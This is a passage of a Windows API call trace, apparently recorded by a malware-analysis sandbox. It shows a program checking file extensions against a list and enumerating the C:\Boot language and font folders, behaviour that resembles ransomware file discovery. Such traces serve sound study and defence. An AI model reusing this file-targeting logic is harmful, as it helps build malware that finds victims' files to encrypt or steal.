[0044.651] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".emf") returned 4 [0044.651] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".emz") returned 4 [0044.651] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".epf") returned 4 [0044.651] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".eps") returned 4 [0044.651] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".epsf") returned 5 [0044.651] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".epsp") returned 5 [0044.652] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".erf") returned 4 [0044.652] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".exr") returned 4 [0044.652] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".f4v") returned 4 [0044.652] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".fido") returned 5 [0044.652] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".flm") returned 4 [0044.652] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".flv") returned 4 [0044.652] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".frm") returned 4 [0044.652] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0044.652] lstrlenW (lpString=".fxg") returned 4 [0044.652] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0044.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.658] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.659] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.659] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.659] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.659] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.659] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0044.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.660] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.660] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.660] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.660] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.660] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0044.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.661] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.661] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.661] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.661] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.662] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0044.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.662] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.662] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.662] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.662] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.663] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0044.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.663] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.663] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.663] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.663] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.664] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0044.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.664] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.664] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.664] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.664] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.665] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0044.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.665] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.665] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.665] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.665] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.665] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0044.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.666] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.666] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.666] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0044.667] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.667] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0044.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.667] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.667] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.667] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.668] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.668] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0044.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.668] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.668] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.668] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.668] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.669] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: 